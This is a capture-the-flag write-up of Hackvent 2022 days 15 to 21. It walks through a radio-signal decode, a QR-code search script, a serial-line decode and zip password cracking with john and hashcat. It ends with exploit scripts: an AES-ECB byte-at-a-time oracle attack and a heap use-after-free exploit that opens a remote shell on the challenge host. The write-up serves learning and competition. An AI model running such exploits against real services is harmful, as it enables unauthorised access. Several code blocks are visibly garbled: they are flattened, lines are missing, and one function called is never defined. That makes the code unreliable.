Days fifteen through twentyone were the hard challenges. There were some really great coding challenges. I loved day sixteen, where I’ll have to check tons of QRcodes to find the flag. And day twenty, where I’ll abuse a unicode bug to brute force padding on an AES encryption. There were couple signals analysis challenges, including a radio wave and serial line decode. There was also a neat trick abusing how zip archives handle long passwords, and a nice relateively beginner-friendly heap exploitation.

## HV22.15

### Challenge

HV22.15 Message from Space
Categories: WIRELESS
FORENSIC
Level: hard
Author: cbrunsch

One of Santa’s elves is a bit of a drunkard and he is incredibly annoyed by the banning of beer from soccer stadiums. He is therefore involved in the “No Return to ZIro beer” community that pledges for unrestricted access to hop brew during soccer games. The topic is sensitive and thus communication needs to be top secret, so the community members use a special quantum military-grade encryption radio system.

Santa’s wish intel team is not only dedicated to analyzing terrestrial hand-written wishes but aims to continuously picking up signals and wishes from outer space too. By chance the team got notice of some secret radio communication. They notice that the protocol starts with a preamble. However, the intel team is keen to learn if the message is some sort of wish they should follow-up. Can you lend a hand?

$file message_1msps.cu8 message_1msps.cu8: RDI Acoustic Doppler Current Profiler (ADCP)  ### Solution #### Raw Analysis The file is clearly made up of binary non-ASCII data. I’ll look at it with xxd running cat message_1msps.cu8 | xxd | less to get a feel for it. Looking at the top, it’s all 0x7f, 0x80, and an occasional 0x7e. I can look at this a bit more completely using Python: oxdf@hacky$ python
Python 3.8.10 (default, Nov 14 2022, 12:59:47)
[GCC 9.4.0] on linux
>>> with open('message_1msps.cu8', 'rb') as f:
...
>>> from collections import Counter
>>> Counter(bytes)
Counter({127: 9321343, 128: 6066621, 126: 559355, 129: 207626, 125: 51129, 121: 43856, 134: 41072, 133: 35989, 130: 35258, 122: 32513, 132: 26601, 123: 25113, 124: 22279, 131: 22227, 120: 15795, 135: 7836, 119: 386, 136: 73})


The vast majority of the bytes are in the 126 (0x7e) to 129 (0x81) range, but there are other values as well.

There’s not much of a pattern to make out looking at the bytes this way.

#### urh

There are lots of audio processing tools out there, but the one that makes this challenge easiest is Universal Radio Hacker. I’ll install it with python -m pip install urh, and then open it:

Opening the file returns this:

Zooming in on the chunk in the middle, it looks like a wave, where the amplitude changes between two values:

#### To Binary Data

It looks like there’s 6 cycles per block, and if I assume that, I can try to interpret them as bit values:

Clicking into the Analysis tab, it does this conversion into bits for me:

Instead of bits, it can show the result as ASCII, though it’s not right:

The current “Decoding” is “Non-Return To Zero”, or NRZ. That’s using the scheme I described above, with high amplitude being a 1, and low being 0.

The Wikipedia page on NRZ shows several variations. Given that the theme of this challenge is space, Non-Return To Zero Space (NRZ(S)) seems interesting. In that scheme, a change in level is a one, and the same level is a 0.

urh has some other encodings, but not that:

Clicking on the “…”, I can define my own. The “Differential Encoding” option under “Additional Functions” seems to be a good match, so I’ll add it by double-clicking it:

Clicking “Save as…”, I’ll give it a name:

Using that encoding, the file starts with all 1s:

Changing to ASCII, after the first two bytes of 1s (the preamble from the description?), it is ASCII:

The full string is:

ÿÿSFYyMnt2LXdpc2gtdi1nMHQtYjMzcn0=FYyMnt2LXdpc2gtdi1nMHQtYjMzcn00


The string up to the “=” decodes as the flag in base64:

$echo SFYyMnt2LXdpc2gtdi1nMHQtYjMzcn0= | base64 -d HV22{v-wish-v-g0t-b33r}  Flag: HV22{v-wish-v-g0t-b33r} ## HV22.16 ### Challenge HV22.16 Needle in a qrstack Categories: FUN Level: hard Author: dr_nick Santa has lost his flag in a qrstack - it is really like finding a needle in a haystack. Can you help him find it? The downloaded image is giant (for an image): $ file haystack.png
haystack.png: PNG image data, 24800 x 24800, 1-bit grayscale, non-interlaced
$ls -lh haystack.png -rw-rw-r-- 1 oxdf oxdf 8.2M Dec 15 20:34 haystack.png  It’s a QRcode made up of smaller QRcodes (zoomed version here): ### Solution I’ll need to write a program to parse 853,126 sub-images as QRCodes and find one that has a flag. I’ll show my process in this video: The final script is: #!/usr/bin/env python3 from PIL import Image import pyzbar.pyzbar as pyzbar import sys Image.MAX_IMAGE_PIXELS = 615050000 def get_qrs(im, div_by_arr): global count_img, count_codes width, height = im.size div_by = div_by_arr[0] sw, sh = width // div_by, height // div_by for y in range(0, height, sh): for x in range(0, width, sw): square = im.crop((x, y, x + sw, y + sh)) count_img += 1 if len(div_by_arr) > 1: get_qrs(square, div_by_arr[1:]) codes = pyzbar.decode(square, symbols=[pyzbar.ZBarSymbol.QRCODE]) for code in codes: count_counts += 1 if code.data != b"Sorry, no flag here!": print(code.data) print(f'{count_img=}\n{count_codes=}') im.save('flag.png') #sys.exit() im = Image.open('haystack.png') im = im.crop((2400, 2400, 22400, 22400)) count_img, count_codes = 0, 0 get_qrs(im, [25, 2, 2, 2, 2, 2]) print(f'{count_img=}\n{count_codes=}')  The script runs in a bit over a minute, finding the flag in around 40 seconds: oxdf@jawad:~/hv22-16$ time python solve.py
b"HV22{1'm_y0ur_need13.}"
count_img=437543
count_codes=6979
Final:
count_img=853125
count_codes=14443

real    1m15.869s
user    1m15.487s
sys     0m0.369s


Flag: HV22{1'm_y0ur_need13.}

## HV22.17

### Challenge

HV22.17 Santa's Sleigh
Categories: FORENSIC
REVERSE_ENGINEERING
Level: hard
Author: dr_nick

As everyone seems to modernize, Santa has bought a new E-Sleigh. Unfortunately, its speed is limited. Without the sleight’s full capabilities, Santa can’t manage to visit all kids… so he asked Rudolf to hack the sleigh for him.

I wonder if it worked.

Unfortunately, Rudolph is already on holiday. He seems to be in a strop because no one needs him to pull the sledge now. We only got this raw data file he sent us.

The file is a single long ASCII line, with 6211 characters:

$file SantasSleigh.raw SantasSleigh.raw: ASCII text, with very long lines, with no line terminators$ wc SantasSleigh.raw
0    1 6211 SantasSleigh.raw


The characters are all 0, 1, 2, and 3:

$grep -o . SantasSleigh.raw | sort | uniq -c 226 0 1146 1 1865 2 2974 3  A couple of hints were released on the Hackvent discord when no one solved it: Rodolph is heavy on duty during his holiday trip, but he managed to send und at least a photo of his first step. And then: Rudolf finally wants some peace and quiet on vacation. But send us one last message: “I thought they speak 8 or 7 N1” together with that picture. ### Solution These are serial line readings, and the tool pictured in the second hint is PulseView, part of the sigrok project. These devices are UART devices. I’ll open PulseView and select “Import Raw binary logic data”: I don’t know either of these for sure. I’ll leave number of channels at 8, and change the sample rate to basically anything (I don’t think it matters). I’ll use 1200. It opens like this: There are only two channels in use, so I can clear the other 6. Zooming in, I’ll notice that data is transmitted in chunks of four samples: That shows that the baud rate needs to be 1/4 of the sample rate (so 300). The button at the top right of the menu bar is to add a decoder: I’ll click and select UART. It adds, unconfigured: I’ll click on it to configure it: This applies the decoder to channel 0 with the correct baud rate, 8 databits and no parity (8N1). By selecting the data format as ASCII, I can see the messages from 0: I could try to add channel 1 as the TX line, but it won’t work. It’s actually using 7N1. I’ll add a second UART decoder, and configure it: Now the replies are there: There are some odd bytes mixed in, but the script goes: 0: Hello! 1: Hi. 0: Tell me the secret! 1: Never. 0: So, give me the flag instead. 1: No way. 0: Please! 1: Ok, here it is: HV22{H4ck1ng_S4nta’s_3-Sleigh} 0: Thx! Flag: HV22{H4ck1ng_S4nta's_3-Sleigh} ## HV22.18 ### Challenge HV22.18 Santa's Nice List Categories: CRYPTO Level: hard Author: keep3r Santa stored this years “Nice List” in an encrypted zip archive. His mind occupied with christmas madness made him forget the password. Luckily one of the elves wrote down the SHA-1 hash of the password Santa used.  xxxxxx69792b677e3e4c7a6d78545c205c4e5e26  Can you help Santa access the list and make those kids happy? In this year’s HACKvent, you can be assured that all bruteforcing hurdles do not take longer than 5 minutes on an Intel(R) UHD Graphics 620, if done smartly and correctly. The download is a zip: $ file nice-list.zip
nice-list.zip: Zip archive data, at least v?[0x333] to extract


$7z x nice-list.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 9 5900X 12-Core Processor (A20F10),ASM,AES-NI) Scanning the drive for archives: 1 file, 554 bytes (1 KiB) Extracting archive: nice-list.zip -- Path = nice-list.zip Type = zip Physical Size = 554 Enter password (will not be echoed):  ### Solution #### Strategy This challenge is centered around the vulnerability laid out in this article on bleepingcomputer. It turns out that if a zip password is longer than 64 characters, that password is SHA1 hashed, and the resulting bytes are used as the password. This is cool in a scenario where the password that has a SHA1 hash that’s also ASCII text, as now there are two different passwords that can be typed in that will unzip the archive. I’m given all but the first six bytes of the SHA1 of the password. I’ll note that all the hex bytes in the remaining hash are in the ascii range: >>> bytes.fromhex('69792b677e3e4c7a6d78545c205c4e5e26') b'iy+g~>LzmxT\\ \\N^&'  This means there are only three unknown bytes in a potential password. #### Crack Three unknown bytes is still 2^24 possible unknowns, so I’ll need to use a hash cracking tool like john or hashcat to try. To get a hash that these can break, I’ll use zip2john and save the results into a file: $ zip2john nice-list.zip | tee zip_hashes
nice-list.zip/flag.txt:$zip2$*0*3*0*e07f14de6a21906d6353fd5f65bcb339*5664*41*e6f2437b18cd6bf346bab9beaa3051feba189a66c8d12b33e6d643c52d7362c9bb674d8626c119cb73146299db399b2f64e3edcfdaab8bc290fcfb9bcaccef695d*40663473539204e3cefd*$/zip2$:flag.txt:nice-list.zip:nice-list.zip
nice-list.zip/nice-list-2022.txt:$zip2$*0*3*0*a53ba8a665f2c94e798835ab626994dd*96cc*5b*72b0a11e9ef17568256695cf580c54400f41cfe0055f1b0800ff91374216313ff9b6dc2c9b1309f9765e3873122d8e422e2d9ecd2c7aa6cbf66105ce837a0fe46c18dc6ccc0cb25f59233c9223d699f43bc2e69c5117b307f813fc*6308b50240b2b882b61e*$/zip2$:nice-list-2022.txt:nice-list.zip:nice-list.zip


There’s two there, likely the same. Now I can use john to crack. The --mask option allows me to give a password with different wildcards in it. This cheat sheet has a nice layout of the different masks:

So I can use three ?A to represent the unknown bytes (they don’t have to be ASCII):

$john --mask='?A?A?Aiy+g~>LzmxT\\ \\N^&' zip_hashes Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Loaded hashes with cost 1 (HMAC size) varying from 65 to 91 Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status 0g 0:00:00:04 2.44% (ETA: 22:01:26) 0g/s 66914p/s 135857c/s 135857C/s *niy+g~>LzmxT\ \N^&..aniy+g~>LzmxT\ \N^& 4Ltiy+g~>LzmxT\ \N^& (nice-list.zip/nice-list-2022.txt) 4Ltiy+g~>LzmxT\ \N^& (nice-list.zip/flag.txt) 2g 0:00:00:08 DONE (2022-12-18 21:58) 0.2490g/s 69371p/s 138743c/s 138743C/s stiy+g~>LzmxT\ \N^&..eqtiy+g~>LzmxT\ \N^& Use the "--show" option to display all of the cracked passwords reliably Session completed.  It finds the password in a few seconds. I could do the same thing with hashcat using the -a 3 to set up a brute-force or mask attack. I’ll trim the hashes down to match the format in the example hashes page for id 13600. Then instead of a wordlist, I give the pattern with a similar set of rules to the ones from john: I’ll use three ?b to check all bytes with: $ hashcat -a 3 -m 13600 zip_hashes-hashcat "?b?b?biy+g~>LzmxT\ \N^&"
...[snip]...
$zip2$*0*3*0*a53ba8a665f2c94e798835ab626994dd*96cc*5b*72b0a11e9ef17568256695cf580c54400f41cfe0055f1b0800ff91374216313ff9b6dc2c9b1309f9765e3873122d8e422e2d9ecd2c7aa6cbf66105ce837a0fe46c18dc6ccc0cb25f59233c9223d699f43bc2e69c5117b307f813fc*6308b50240b2b882b61e*$/zip2$:4Ltiy+g~>LzmxT\ \N^&
$zip2$*0*3*0*e07f14de6a21906d6353fd5f65bcb339*5664*41*e6f2437b18cd6bf346bab9beaa3051feba189a66c8d12b33e6d643c52d7362c9bb674d8626c119cb73146299db399b2f64e3edcfdaab8bc290fcfb9bcaccef695d*40663473539204e3cefd*$/zip2$:4Ltiy+g~>LzmxT\ \N^&
...[snip]...


#### Unzip

With the password, I’ll use 7z to extract the files:

$7z x nice-list.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 9 5900X 12-Core Processor (A20F10),ASM,AES-NI) Scanning the drive for archives: 1 file, 554 bytes (1 KiB) Extracting archive: nice-list.zip -- Path = nice-list.zip Type = zip Physical Size = 554 Enter password (will not be echoed): Everything is Ok Files: 2 Size: 175 Compressed: 554  In addition to nice-list-2022.txt, there’s a flag.txt which has the flag: $ cat flag.txt
HV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}


Flag: HV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}

## HV22.20

### Challenge

HV22.20 § 1337: Use Padding 📝
Categories: CRYPTO
Level: hard
Author: kuyaya

Santa has written an application to encrypt some secrets he wants to hide from the outside world. Only he and his elves, who have access too all the keys used, can decrypt the messages 🔐.

Santa’s friends Alice and Bob have suggested that the application has a padding vulnerability❗, so Santa fixed it 🎅. This means it’s not vulnerable anymore, right❗❓

Santa has also written a concept sheet of the encryption process:

Start the service in the Resources section, connect to it with nc <docker> 1337 and get the flag!

You can download the service’s source code from Resources section. We don’t want to make challenges guessy, do we? 😉

### Solution

#### Source Analysis

The given source for the server is a Python script:

#!/usr/bin/env python3

from Crypto.Cipher import AES
from os import urandom

# pad block size to 16, zfill() fills on left. Invert the string to fill on right, then invert back.
if len(msg) % 16 != 0:
msg = msg[::-1].zfill(len(msg) - len(msg) % 16 + 16)[::-1]
return msg

while True:
aes = AES.new(urandom(16), AES.MODE_ECB)
msg = input("Enter access code:\n")
print(enc.hex())

retry = input("Do you want to try again [y/n]:\n")
if retry != "y":
break


Something like socat must be exposing this to the internet using port 1337.

#### Strategy

The two bits of data (msg and flag) are padded as characters before they are combined, and then the entire thing is converted to bytes (.encode()) and then it’s padded again and encrypted.

I suspect the script author would have done this to prevent me from sending a message such that there’s only one unknown byte in the last block. If that were the case, I could generate all possible blocks of one character and then 15 pad bytes, and send them to see which matched the last block of flag.

Because my input is padded, I can’t easily adjust the spacing of flag.

The trick is to look for characters that will take up one space as characters, but multiple bytes once incoded. The emoji littered through the challenge description are a nice hint. For example, trying some of the symbols in the challenge text:

>>> len('🎅')
1
>>> len('🎅'.encode())
4
>>> len('❗'.encode())
3
>>> len('§'.encode())
2


The last one is most valuable to me, as I can use to shift the flag buffer one byte at a time.

#### Script

I’ll generate a Python script to exploit this and leak the flag in this video:

The final script is:

#!/usr/bin/env python3

import string
import sys
from pwn import *

r = remote(sys.argv[1], 1337)

def probe(msg):
r.sendlineafter(b"Enter access code:\n", msg)
res = r.recvline().strip()
r.sendlineafter(b"[y/n]:\n", b"y")
return res

def pb(res):
for line in zip(*(iter(res.decode()),)*32):
print(''.join(line))

def get_flag_len():
for i in range(1, 16):
res = probe(('0'*16 + '§'*(i+1) + '0'*(16-i)).encode())
print(i+1)
pb(res)

def get_next_char(flag):
for c in string.printable[:-6][::-1]:
print(f'\r{c}{flag}', end='')
num_multi = (15 + len(flag)) % 16
payload += '§' * num_multi + '0'* ((16-num_multi) % 16)
offset = ((len(flag) + 30) // 16) * -32
if res[:32] == res[offset:][:32]:
break
else:
assert False
return c + flag

def get_next_char_fast(flag):
payload += ''.join(f'{c}{flag[:15]}'.ljust(16, '0') for c in string.printable[:-6])
n = (len(flag) + 14) % 16 + 1
offset = ((len(flag) + 30) // 16) * -32
return string.printable[res.index(res[offset:][:32])//32] + flag

flag = ''
while not flag.startswith('HV22{'):
flag = get_next_char2(flag)
print(f'\r{flag}', end='')

print()


In the end, I can get the flag:

$python solve.py 152.96.7.9 [+] Opening connection to 152.96.7.9 on port 1337: Done HV22{len()!=len()} [*] Closed connection to 152.96.7.9 port 1337  Flag: HV22{len()!=len()} ## HV22.21 ### Challenge HV22.21 Santa's Workshop Categories: EXPLOITATION Level: hard Author: 0xi Santa decided to invite you to his workshop. Can you find a way to pwn it and find the flag? There’s an instance and a binary to download. The binary is a 64-bit ELF: $ file santasworkshop.elf
santasworkshop.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=14aac965f690be29c5d8a90a8e44e4316e703ce2, not stripped


Connecting to the instance or running the binary offer the same menu:

$nc 152.96.7.19 1337 Welcome to Santa's Workshop Enjoy your stay but don't steal anything! 1 View naughty list 2 Check the workshop for items 3 Steal presents 4 Tell a good deed >  ### Solution This challenge involves identifying a few key parts: • There’s a function that’s not called named present that just returns a shell. • There’s an information leak in menu item 1 that will give the necessary information to get the address of present despite PIE being enabled. • There’s a use after free vulnerability on the workshop construct which can be exploited with a combination of menu items 3, then 4, then 2, using the address of present. This video shows all the steps to getting shell on the server: The final exploit script is: #!/usr/bin/env python3 import sys from pwn import * r = remote(sys.argv[1], 1337) # leak present address r.sendlineafter(b'> ', b'1') r.sendlineafter(b'the entry\n', b'-2147483644') res = r.readuntil(b'>') pie_leak = u64(res[:-2].ljust(8, b"\x00")) present_addr = pie_leak - 0x309 success(f'Found present address: 0x{present_addr:08x}') # free workshop r.sendline(b'3') # claim heap allocation payload = "0xdf".ljust(40, "\x00").encode() + p64(present_addr) r.sendlineafter(b'> ', b'4') r.sendlineafter(b'deed?\n', b'48') r.sendlineafter(b'deed\n', payload) # trigger r.sendlineafter(b'> ', b'2') r.interactive()  Running it gives a shell and I can read FLAG: $ python solve.py 152.96.7.2
[+] Opening connection to 152.96.7.2 on port 1337: Done
[*] Switching to interactive mode
$cd challenge$ cat FLAG

##############  ##    ####  ####    ##############
##          ##  ######  ######  ##  ##          ##
##  ######  ##      ##############  ##  ######  ##
##  ######  ##      ##    ####  ##  ##  ######  ##
##  ######  ##  ########        ##  ##  ######  ##
##          ##  ##    ##    ##  ##  ##          ##
##############  ##  ##  ##  ##  ##  ##############
##  ######  ######
######    ####  ######    ######  ########    ####
####  ####    ##  ####    ##    ######        ####
######      ######    ##      ##    ##    ##  ####
####  ##      ##  ##      ##  ####    ####      ##
####  ####    ##  ######        ##  ##      ##
##              ##    ##      ####  ##      ##
####    ##  ########    ########      ##  ##    ##
##        ##      ####  ####  ##########
####  ########  ##        ################    ##
##        ########      ##  ##
##############    ##  ##        ##  ##  ##      ##
##          ##  ######    ##    ##      ####  ####
##  ######  ##    ##  ######  ############  ######
##  ######  ##      ##  ##        ##          ##
##  ######  ##  ######  ########    ##  ##########
##          ##  ##    ####  ##    ##  ######
##############  ##        ####  ######  ##  ##  ##


I had a hard time reading that flag directly, but I loaded it up in Gimp and colored around the # to make a more readable QR:

Flag: HV22{PWN_4_TH3_W1N}